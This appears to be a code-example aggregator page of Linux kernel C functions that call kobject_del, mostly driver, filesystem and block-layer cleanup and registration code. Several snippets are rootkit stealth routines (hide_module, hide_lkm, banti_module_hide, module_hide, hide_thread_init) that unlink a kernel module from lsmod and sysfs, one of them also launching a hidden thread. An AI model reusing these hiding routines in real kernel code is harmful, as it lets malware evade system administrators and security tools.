Esempio n. 1
0
static void __exit doubletap2wake_exit(void)
{
#ifndef ANDROID_TOUCH_DECLARED
	kobject_del(android_touch_kobj);
#endif
	input_unregister_handler(&dt2w_input_handler);
	destroy_workqueue(dt2w_input_wq);
	input_unregister_device(doubletap2wake_pwrdev);
	input_free_device(doubletap2wake_pwrdev);
	return;
}
static void __exit edac_exit_mce_inject(void)
{
	int i;

	for (i = 0; i < ARRAY_SIZE(sysfs_attrs); i++)
		sysfs_remove_file(mce_kobj, &sysfs_attrs[i]->attr);

	kobject_del(mce_kobj);

	edac_put_sysfs_subsys();
}
Esempio n. 3
0
//Hiding the kernel module
void hide_module(void){
	if(modHidden){
    	return;
    }
	modList = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    kobject_del(&THIS_MODULE->mkobj.kobj);
    THIS_MODULE->sect_attrs = NULL;
	THIS_MODULE->notes_attrs = NULL;
    modHidden = 1;
}
static int _init_iostash_kobjects(void)
{
	int err = 0;

	static struct kobj_type ctl_kobj_type = {
                .release       = ctl_kobj_release,
                .sysfs_ops     = &ctl_sysfs_ops,
                .default_attrs = ctl_attrs,
        };

	memset(&gctx.ctl_kobj, 0, sizeof(gctx.ctl_kobj));
	kobject_init(&gctx.ctl_kobj, &ctl_kobj_type);

	err = kobject_add(&gctx.ctl_kobj,
			  (&(THIS_MODULE)->mkobj.kobj),
			  "%s",
			  CTL_KOBJ_NAME);
	if (err)
	{
		kobject_put(&gctx.ctl_kobj);
		err = -ENOMEM;
		goto out;
	}

	gctx.ssd_kset = kset_create_and_add
		(SSD_KSET_NAME, NULL, (&(THIS_MODULE)->mkobj.kobj));
	if (!gctx.ssd_kset)
	{
		err = -ENOMEM;
		goto kobj_del;
	}

	gctx.hdd_kset = kset_create_and_add
		(HDD_KSET_NAME, NULL, (&(THIS_MODULE)->mkobj.kobj));
	if (!gctx.hdd_kset)
	{
		err = -ENOMEM;
		goto unreg_ssd_kset;
	}

	BUG_ON(0 != err);

	return 0;

kobj_del:
	kobject_del(&gctx.ctl_kobj);
	kobject_put(&gctx.ctl_kobj);

unreg_ssd_kset:
	kset_unregister(gctx.ssd_kset);

out:
	return err;
}
Esempio n. 5
0
int blk_register_queue(struct gendisk *disk)
{
	int ret;
	struct device *dev = disk_to_dev(disk);
	struct request_queue *q = disk->queue;

	if (WARN_ON(!q))
		return -ENXIO;

	/*
	 * SCSI probing may synchronously create and destroy a lot of
	 * request_queues for non-existent devices.  Shutting down a fully
	 * functional queue takes measureable wallclock time as RCU grace
	 * periods are involved.  To avoid excessive latency in these
	 * cases, a request_queue starts out in a degraded mode which is
	 * faster to shut down and is made fully functional here as
	 * request_queues for non-existent devices never get registered.
	 */
	if (!blk_queue_init_done(q)) {
		queue_flag_set_unlocked(QUEUE_FLAG_INIT_DONE, q);
		blk_queue_bypass_end(q);
		if (q->mq_ops)
			blk_mq_finish_init(q);
	}

	ret = blk_trace_init_sysfs(dev);
	if (ret)
		return ret;

	ret = kobject_add(&q->kobj, kobject_get(&dev->kobj), "%s", "queue");
	if (ret < 0) {
		blk_trace_remove_sysfs(dev);
		return ret;
	}

	kobject_uevent(&q->kobj, KOBJ_ADD);

	if (q->mq_ops)
		blk_mq_register_disk(disk);

	if (!q->request_fn)
		return 0;

	ret = elv_register_queue(q);
	if (ret) {
		kobject_uevent(&q->kobj, KOBJ_REMOVE);
		kobject_del(&q->kobj);
		blk_trace_remove_sysfs(dev);
		kobject_put(&dev->kobj);
		return ret;
	}

	return 0;
}
static int touch_fwu_remove(struct platform_device *pdev)
{
	int attr_count = 0;

	for (attr_count = 0; attr_count < ARRAY_SIZE(dev_attr); attr_count++) {
		sysfs_remove_file(android_touch_kobj, &dev_attr[attr_count].attr);
	}
	kobject_del(android_touch_kobj);
	kfree(fwu_data);
	driver_probe_status = 0;
	return 0;
}
Esempio n. 7
0
static int __init xxx_init(void)
{
    parent = kobject_create_and_add("pa_obj", NULL);
    child = kobject_create_and_add("ca_obj", parent);

    static struct attribute cld_att = {
        .name = "rocklee",
        .mode = S_IRUGO | S_IWUSR,
    };

    sysfs_create_file(child, &cld_att);

    return 0;
}

static void __exit xxx_exit(void) 
{
    kobject_del(parent);
    kobject_del(child);
    return 0;
}
Esempio n. 8
0
static void __exit inv_pthread_exit(void)
{
    thread_control_set(0);
    /* Delay for guarantee thread exit */
    ssleep(THREAD_DELAY_MINS);

    sysfs_remove_file(status_kobj, &status_att);
    kset_unregister(status_kset);
    kobject_del(status_kobj);

    printk(KERN_INFO "[p_thread] inv_pthread cleaning Up\n");
}
Esempio n. 9
0
static void __exit crt_module_exit(void)
{
	if(crt_platform_devs)
		platform_device_unregister(crt_platform_devs);

	platform_driver_unregister(&crt_platform_driver);

	kobject_del(crt_kobj);
	device_destroy(crt_class, crt_devnum);
	class_destroy(crt_class);
	unregister_chrdev_region(crt_devnum, crt_nr_devs);

}
Esempio n. 10
0
// Hide LKM Rootkit
static void hide_lkm(void){
	if(module_hidden == false){
		module_previous = THIS_MODULE->list.prev;
		module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
		
		list_del(&THIS_MODULE->list);
		kobject_del(&THIS_MODULE->mkobj.kobj);
		list_del(&THIS_MODULE->mkobj.kobj.entry);

		module_hidden = true;
	}
	else return;
}
Esempio n. 11
0
static void __exit ov10820_exit_module(void)
{
    if (ov10820_s_ctrl.pdev) {
        msm_sensor_free_sensor_data(&ov10820_s_ctrl);
        platform_driver_unregister(&ov10820_platform_driver);
    } else
        i2c_del_driver(&ov10820_i2c_driver);

    if (ov10820_kobject) {
        sysfs_remove_group(ov10820_kobject, &ov10820_group);
        kobject_del(ov10820_kobject);
    }
    return;
}
Esempio n. 12
0
void display_uninit_sysfs(struct platform_device *pdev)
{
	struct omap_dss_device *dssdev = NULL;

	for_each_dss_dev(dssdev) {
		if (kobject_name(&dssdev->kobj) == NULL)
			continue;

		kobject_del(&dssdev->kobj);
		kobject_put(&dssdev->kobj);

		memset(&dssdev->kobj, 0, sizeof(dssdev->kobj));
	}
}
void met_smi_delete(void)
{
	if (kobj_smi != NULL) {

		sysfs_remove_file(kobj_smi_mon_con, &requesttype_attr.attr);
		kobject_del(kobj_smi_mon_con);

		sysfs_remove_file(kobj_smi, &err_msg_attr.attr);
		sysfs_remove_file(kobj_smi, &toggle_cnt_attr.attr);
		sysfs_remove_file(kobj_smi, &count_attr.attr);
		sysfs_remove_file(kobj_smi, &portnum_attr.attr);
		kobj_smi = NULL;
	}
}
Esempio n. 14
0
void dss_uninit_overlays(struct platform_device *pdev)
{
	int i;

	for (i = 0; i < num_overlays; ++i) {
		struct omap_overlay *ovl = &overlays[i];

		kobject_del(&ovl->kobj);
		kobject_put(&ovl->kobj);
	}

	kfree(overlays);
	overlays = NULL;
	num_overlays = 0;
}
Esempio n. 15
0
void dss_uninit_overlays(struct platform_device *pdev)
{
	struct omap_overlay *ovl;

	while (!list_empty(&overlay_list)) {
		ovl = list_first_entry(&overlay_list,
				struct omap_overlay, list);
		list_del(&ovl->list);
		kobject_del(&ovl->kobj);
		kobject_put(&ovl->kobj);
		kfree(ovl);
	}

	num_overlays = 0;
}
Esempio n. 16
0
static int cpuid_cpu_offline(unsigned int cpu)
{
	struct device *dev;
	struct cpuinfo_arm64 *info = &per_cpu(cpu_data, cpu);

	dev = get_cpu_device(cpu);
	if (!dev)
		return -ENODEV;
	if (info->kobj.parent) {
		sysfs_remove_group(&info->kobj, &cpuregs_attr_group);
		kobject_del(&info->kobj);
	}

	return 0;
}
Esempio n. 17
0
static void __exit wake_gestures_exit(void)
{
	kobject_del(android_touch_kobj);
	input_unregister_handler(&wg_input_handler);
	input_free_device(wake_dev);
#ifdef CONFIG_POWERSUSPEND
	unregister_power_suspend(&wk_power_suspend_handler);
#endif
#if (WAKE_GESTURES_ENABLED)	
	input_unregister_device(gesture_dev);
	input_free_device(gesture_dev);
#endif

	return;
}
Esempio n. 18
0
static void __exit lcdd_deinit(void)
{
	if(lcdd_kobj)
	{
		kobject_del(lcdd_kobj);	//This could be unnecessary.
		kobject_put(lcdd_kobj);		
		lcdd_kobj = 0;
	}

	if(lcd_init_sequence)
	{
		kfree(lcd_init_sequence);
		lcd_init_sequence = 0;
	}
}
int ovs_dp_sysfs_del_dp(struct datapath *dp)
{
	struct vport *vport = ovs_vport_rtnl(dp, OVSP_LOCAL);
	struct kobject *kobj = vport->ops->get_kobj(vport);

#ifdef CONFIG_NET_NS
	if (!kobj->sd)
		return 0;
#endif

	kobject_del(&dp->ifobj);
	sysfs_remove_group(kobj, &bridge_group);

	return 0;
}
static void __exit wake_gestures_exit(void)
{
	kobject_del(android_touch_kobj);
	input_unregister_handler(&wg_input_handler);
	destroy_workqueue(s2w_input_wq);
	destroy_workqueue(dt2w_input_wq);
	input_free_device(wake_dev);
	wake_lock_destroy(&dt2w_wakelock);
#if (WAKE_GESTURES_ENABLED)	
	input_unregister_device(gesture_dev);
	input_free_device(gesture_dev);
#endif

	return;
}
void blk_unregister_queue(struct gendisk *disk)
{
	struct request_queue *q = disk->queue;

	if (WARN_ON(!q))
		return;

	if (q->request_fn)
		elv_unregister_queue(q);

	kobject_uevent(&q->kobj, KOBJ_REMOVE);
	kobject_del(&q->kobj);
	blk_trace_remove_sysfs(disk_to_dev(disk));
	kobject_put(&disk_to_dev(disk)->kobj);
}
static int touch_fwu_probe(struct platform_device *pdev)
{
	int ret = 0, attr_count = 0;

	pr_info("%s: enter", __func__);
	if (!fwu_data) {
		fwu_data = kzalloc(sizeof(*fwu_data), GFP_KERNEL);
		if (!fwu_data) {
			pr_err("Fail to allocate fw update data memory");
			ret = -ENOMEM;
			goto err_device_init;
		}
		fwu_data->flash_status = 0;
		fwu_data->update_bypass = 0;
		fwu_data->flash_progress = 0;
		memset(fwu_data->fw_vendor, 0, sizeof(fwu_data->fw_vendor));
		snprintf(fwu_data->fw_vendor, sizeof(fwu_data->fw_vendor), "NULL");
	}

	android_touch_kobj = kobject_create_and_add("android_touch_fwu", NULL);
	if (android_touch_kobj == NULL) {
		pr_err("failed to create kobj");
		ret = -1;
		goto err_create_kobj;
	}

	for (attr_count = 0; attr_count < ARRAY_SIZE(dev_attr); attr_count++) {
		if (sysfs_create_file(android_touch_kobj, &dev_attr[attr_count].attr) < 0) {
			pr_err("failed to create sysfs file");
			ret = -1;
			goto err_create_sys_file;
		}
	}
	driver_probe_status = 1;
	pr_info("%s: done", __func__);
	return 0;

err_create_sys_file:
	for (attr_count--; attr_count>=0; attr_count--) {
		sysfs_remove_file(android_touch_kobj, &dev_attr[attr_count].attr);
	}
	kobject_del(android_touch_kobj);
err_create_kobj:
	driver_probe_status = 0;
	kfree(fwu_data);
err_device_init:
	return ret;
}
Esempio n. 23
0
static void f2fs_put_super(struct super_block *sb)
{
	struct f2fs_sb_info *sbi = F2FS_SB(sb);

	if (sbi->s_proc) {
		remove_proc_entry("segment_info", sbi->s_proc);
		remove_proc_entry(sb->s_id, f2fs_proc_root);
	}
	kobject_del(&sbi->s_kobj);

	f2fs_destroy_stats(sbi);
	stop_gc_thread(sbi);

	/*
	 * We don't need to do checkpoint when superblock is clean.
	 * But, the previous checkpoint was not done by umount, it needs to do
	 * clean checkpoint again.
	 */
	if (is_sbi_flag_set(sbi, SBI_IS_DIRTY) ||
			!is_set_ckpt_flags(F2FS_CKPT(sbi), CP_UMOUNT_FLAG)) {
		struct cp_control cpc = {
			.reason = CP_UMOUNT,
		};
		write_checkpoint(sbi, &cpc);
	}

	/*
	 * normally superblock is clean, so we need to release this.
	 * In addition, EIO will skip do checkpoint, we need this as well.
	 */
	release_dirty_inode(sbi);
	release_discard_addrs(sbi);

	iput(sbi->node_inode);
	iput(sbi->meta_inode);

	/* destroy f2fs internal modules */
	destroy_node_manager(sbi);
	destroy_segment_manager(sbi);

	kfree(sbi->ckpt);
	kobject_put(&sbi->s_kobj);
	wait_for_completion(&sbi->s_kobj_unregister);

	sb->s_fs_info = NULL;
	brelse(sbi->raw_super_buf);
	kfree(sbi);
}
static int __devinit register_reader_probe(struct platform_device * pdev) 
{
	// TODO
	int err;
	// create device attribute in sysfs
	printk("register_reader_probe.\n");
 	err = sysfs_create_file(&pdev->dev.kobj, &dev_attr_register_address.attr);
	if(err<0){
		printk("sysfs_create_file failed.\n");
		kobject_del(&pdev->dev.kobj);
		return err;
	}
	printk("sysfs_create_file succeed.\n");

	return err;
}
static void __exit sysfscluster_exit(void)
{
	TRACE_CLUSTER(("+sysfscluster_exit\n"));
#if DEBUG_CLUSTER_SWITCH
	REMOVE_FILE(debug);
#endif
#if defined(CONFIG_PM_SLEEP) && SYSFS_CLUSTER_POWER_MODE
	REMOVE_FILE(powermode);
#endif
	REMOVE_FILE(wake_ms);
	REMOVE_FILE(force);
	REMOVE_FILE(immediate);
	REMOVE_FILE(active);
	kobject_del(cluster_kobj);
	TRACE_CLUSTER(("-sysfscluster_exit\n"));
}
Esempio n. 26
0
/*
 * Function hides module from module list so
 * it can not be checked with lsmod command
 */
void banti_module_hide(void)
{
    /* Check if alredy hidden */
    if (fl->module_hidden) return;

    /* Delete in module list */
    module_prev = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);

    /* Reinitialise list */
    module_kobj_prev = THIS_MODULE->mkobj.kobj.entry.prev;
    kobject_del(&THIS_MODULE->mkobj.kobj);
    list_del(&THIS_MODULE->mkobj.kobj.entry);

    /* Flag up */
    fl->module_hidden = 1;
}
Esempio n. 27
0
/*
 * Add sysfs entries to ethernet device added to a bridge.
 * Creates a brport subdirectory with bridge attributes.
 * Puts symlink in bridge's brport subdirectory
 */
int dp_sysfs_add_if(struct dp_port *p)
{
	struct kobject *kobj = vport_get_kobj(p->vport);
	struct datapath *dp = p->dp;
	struct brport_attribute **a;
	int err;

	/* Create /sys/class/net/<devname>/brport directory. */
	if (!kobj)
		return -ENOENT;

	err = kobject_add(&p->kobj, kobj, SYSFS_BRIDGE_PORT_ATTR);
	if (err)
		goto err;

	/* Create symlink from /sys/class/net/<devname>/brport/bridge to
	 * /sys/class/net/<bridgename>. */
	err = sysfs_create_link(&p->kobj, vport_get_kobj(dp->ports[ODPP_LOCAL]->vport),
				SYSFS_BRIDGE_PORT_LINK); /* "bridge" */
	if (err)
		goto err_del;

	/* Populate /sys/class/net/<devname>/brport directory with files. */
	for (a = brport_attrs; *a; ++a) {
		err = sysfs_create_file(&p->kobj, &((*a)->attr));
		if (err)
			goto err_del;
	}

	/* Create symlink from /sys/class/net/<bridgename>/brif/<devname> to
	 * /sys/class/net/<devname>/brport.  */
	err = sysfs_create_link(&dp->ifobj, &p->kobj, vport_get_name(p->vport));
	if (err)
		goto err_del;
	strcpy(p->linkname, vport_get_name(p->vport));

	kobject_uevent(&p->kobj, KOBJ_ADD);

	return 0;

err_del:
	kobject_del(&p->kobj);
err:
	p->linkname[0] = 0;
	return err;
}
static int hide_thread_init(void) {
	printk(KERN_INFO "Hide my module from lsmod.");
	list_del_init(&THIS_MODULE->list);
	printk(KERN_INFO "Hide my module from sysfs.");
#ifdef CONFIG_SYSFS
	kobject_del(&THIS_MODULE->mkobj.kobj);
#endif
	printk(KERN_INFO "Start kthread_func.");
	struct task_struct *tsk = kthread_run(kthread_func, NULL, "my_kthread");
	if (IS_ERR(tsk)) 
		printk(KERN_INFO "create kthread failed!\n");
	else 
		printk(KERN_INFO "create kthread ok!\n");
	printk(KERN_INFO "Finish to start kthread_func.");

	return 0;
}
Esempio n. 29
0
void module_hide(void)
{
	if (module_hidden)
		return;

	module_previous = THIS_MODULE->list.prev;
	list_del(&THIS_MODULE->list);

	module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
	kobject_del(&THIS_MODULE->mkobj.kobj);
	list_del(&THIS_MODULE->mkobj.kobj.entry);
	module_hidden = 1;

#ifdef DEBUG
	printk(KERN_INFO "%s: hiding LKM\n", MODULE_NAME);
#endif
}
Esempio n. 30
0
int blk_register_queue(struct gendisk *disk)
{
    int ret;
    struct device *dev = disk_to_dev(disk);
    struct request_queue *q = disk->queue;

    if (WARN_ON(!q))
        return -ENXIO;

    /*
     * Initialization must be complete by now.  Finish the initial
     * bypass from queue allocation.
     */
    blk_queue_bypass_end(q);
    queue_flag_set_unlocked(QUEUE_FLAG_INIT_DONE, q);

    ret = blk_trace_init_sysfs(dev);
    if (ret)
        return ret;

    ret = kobject_add(&q->kobj, kobject_get(&dev->kobj), "%s", "queue");
    if (ret < 0) {
        blk_trace_remove_sysfs(dev);
        return ret;
    }

    kobject_uevent(&q->kobj, KOBJ_ADD);

    if (q->mq_ops)
        blk_mq_register_disk(disk);

    if (!q->request_fn)
        return 0;

    ret = elv_register_queue(q);
    if (ret) {
        kobject_uevent(&q->kobj, KOBJ_REMOVE);
        kobject_del(&q->kobj);
        blk_trace_remove_sysfs(dev);
        kobject_put(&dev->kobj);
        return ret;
    }

    return 0;
}